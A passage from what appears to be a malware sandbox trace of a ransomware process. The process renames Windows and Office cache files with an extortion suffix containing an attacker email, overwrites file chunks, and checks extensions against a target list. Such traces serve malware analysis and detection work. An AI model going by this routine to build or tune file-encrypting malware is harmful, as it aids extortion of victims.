"c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.622] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.703] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=485760) returned 1 [0196.703] CloseHandle (hObject=0x160) returned 1 [0196.704] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0196.704] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.704] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.806] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0197.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0197.807] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0197.807] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0197.807] ReadFile (in: hFile=0x194, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.656] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.657] ReadFile (in: hFile=0x194, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.794] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0198.794] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.794] ReadFile (in: hFile=0x194, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.918] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.918] WriteFile (in: hFile=0x194, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0198.934] SetEndOfFile (hFile=0x194) returned 1 [0198.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ed2068 [0199.281] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.281] WriteFile (in: hFile=0x194, lpBuffer=0x3ed2068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed2068*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.282] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.282] WriteFile (in: hFile=0x194, lpBuffer=0x3ed2068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed2068*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.283] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.283] WriteFile (in: hFile=0x194, lpBuffer=0x3ed2068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed2068*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ed2068 | out: hHeap=0x4f0000) returned 1 [0199.288] CloseHandle (hObject=0x194) returned 1 [0202.957] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.958] lstrlenW (lpString=".doc") returned 4 [0202.958] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0202.958] lstrlenW (lpString=".docx") returned 5 [0202.958] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0202.958] lstrlenW (lpString=".pdf") returned 4 [0202.958] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0202.958] lstrlenW (lpString=".xls") returned 4 [0202.958] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0202.958] lstrlenW (lpString=".xlsx") returned 5 [0202.958] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0202.958] lstrlenW (lpString=".ppt") returned 4 [0202.959] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0202.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.959] lstrlenW (lpString=".zip") returned 4 [0202.959] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0202.959] lstrlenW (lpString=".rar") returned 4 [0202.959] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0202.959] lstrlenW (lpString=".bz2") returned 4 [0202.959] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0202.959] lstrlenW (lpString=".7z") returned 3 [0202.959] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0202.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.959] lstrlenW (lpString=".dbf") returned 4 [0202.959] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0202.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.959] lstrlenW (lpString=".1cd") returned 4 [0202.959] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0202.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.959] lstrlenW (lpString=".jpg") returned 4 [0202.959] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0202.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.959] lstrlenW (lpString=".doc") returned 4 [0202.959] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0202.959] lstrlenW (lpString=".docx") returned 5 [0202.959] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0202.959] lstrlenW (lpString=".pdf") returned 4 [0202.960] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0202.960] lstrlenW (lpString=".xls") returned 4 [0202.960] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0202.960] lstrlenW (lpString=".xlsx") returned 5 [0202.960] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0202.960] lstrlenW (lpString=".ppt") returned 4 [0202.960] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0202.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.960] lstrlenW (lpString=".zip") returned 4 [0202.960] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0202.960] lstrlenW (lpString=".rar") returned 4 [0202.960] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0202.960] lstrlenW (lpString=".bz2") returned 4 [0202.960] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0202.960] lstrlenW (lpString=".7z") returned 3 [0202.960] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0202.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.960] lstrlenW (lpString=".dbf") returned 4 [0202.960] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0202.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.960] lstrlenW (lpString=".1cd") returned 4 [0202.960] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0202.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0202.960] lstrlenW (lpString=".jpg") returned 4 [0202.960] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0202.961] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0202.961] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0202.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0202.961] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2865664) returned 1 [0202.961] CloseHandle (hObject=0x1a0) returned 1 [0202.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0202.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.961] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0202.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0202.962] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0202.962] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0202.962] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0202.967] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0202.967] ReadFile (in: hFile=0x1a0, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0202.978] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0202.978] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0202.978] ReadFile (in: hFile=0x1a0, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0203.183] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0203.183] WriteFile (in: hFile=0x1a0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0203.206] SetEndOfFile (hFile=0x1a0) returned 1 [0203.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0203.210] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0203.210] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0203.212] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0203.212] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0203.218] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0203.218] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0203.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0203.220] CloseHandle (hObject=0x1a0) returned 1 [0205.819] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0205.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.820] lstrlenW (lpString=".doc") returned 4 [0205.820] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0205.820] lstrlenW (lpString=".docx") returned 5 [0205.820] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0205.820] lstrlenW (lpString=".pdf") returned 4 [0205.820] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0205.820] lstrlenW (lpString=".xls") returned 4 [0205.820] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0205.820] lstrlenW (lpString=".xlsx") returned 5 [0205.820] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0205.820] lstrlenW (lpString=".ppt") returned 4 [0205.820] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0205.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.820] lstrlenW (lpString=".zip") returned 4 [0205.820] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0205.821] lstrlenW (lpString=".rar") returned 4 [0205.821] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0205.821] lstrlenW (lpString=".bz2") returned 4 [0205.821] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0205.821] lstrlenW (lpString=".7z") returned 3 [0205.821] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0205.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.821] lstrlenW (lpString=".dbf") returned 4 [0205.821] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0205.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.821] lstrlenW (lpString=".1cd") returned 4 [0205.821] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0205.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.821] lstrlenW (lpString=".jpg") returned 4 [0205.821] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0205.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.821] lstrlenW (lpString=".doc") returned 4 [0205.821] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0205.821] lstrlenW (lpString=".docx") returned 5 [0205.821] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0205.822] lstrlenW (lpString=".pdf") returned 4 [0205.822] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0205.822] lstrlenW (lpString=".xls") returned 4 [0205.822] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0205.822] lstrlenW (lpString=".xlsx") returned 5 [0205.822] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0205.822] lstrlenW (lpString=".ppt") returned 4 [0205.822] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0205.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.822] lstrlenW (lpString=".zip") returned 4 [0205.822] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0205.822] lstrlenW (lpString=".rar") returned 4 [0205.822] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0205.822] lstrlenW (lpString=".bz2") returned 4 [0205.822] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0205.822] lstrlenW (lpString=".7z") returned 3 [0205.822] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0205.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.822] lstrlenW (lpString=".dbf") returned 4 [0205.822] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0205.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.822] lstrlenW (lpString=".1cd") returned 4 [0205.823] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0205.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0205.823] lstrlenW (lpString=".jpg") returned 4 [0205.823] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0205.823] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0205.823] lstrlenW (lpString="Proof.cab") returned 9 [0205.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0205.823] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11482605) returned 1 [0205.823] CloseHandle (hObject=0x1a0) returned 1 [0205.823] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0205.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.824] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0205.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0205.962] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0205.962] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.963] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.112] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0206.112] ReadFile (in: hFile=0x1a0, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.124] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0206.124] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0206.124] ReadFile (in: hFile=0x1a0, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.224] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0206.224] WriteFile (in: hFile=0x1a0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0206.249] SetEndOfFile (hFile=0x1a0) returned 1 [0206.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f93098 [0206.683] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.683] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, 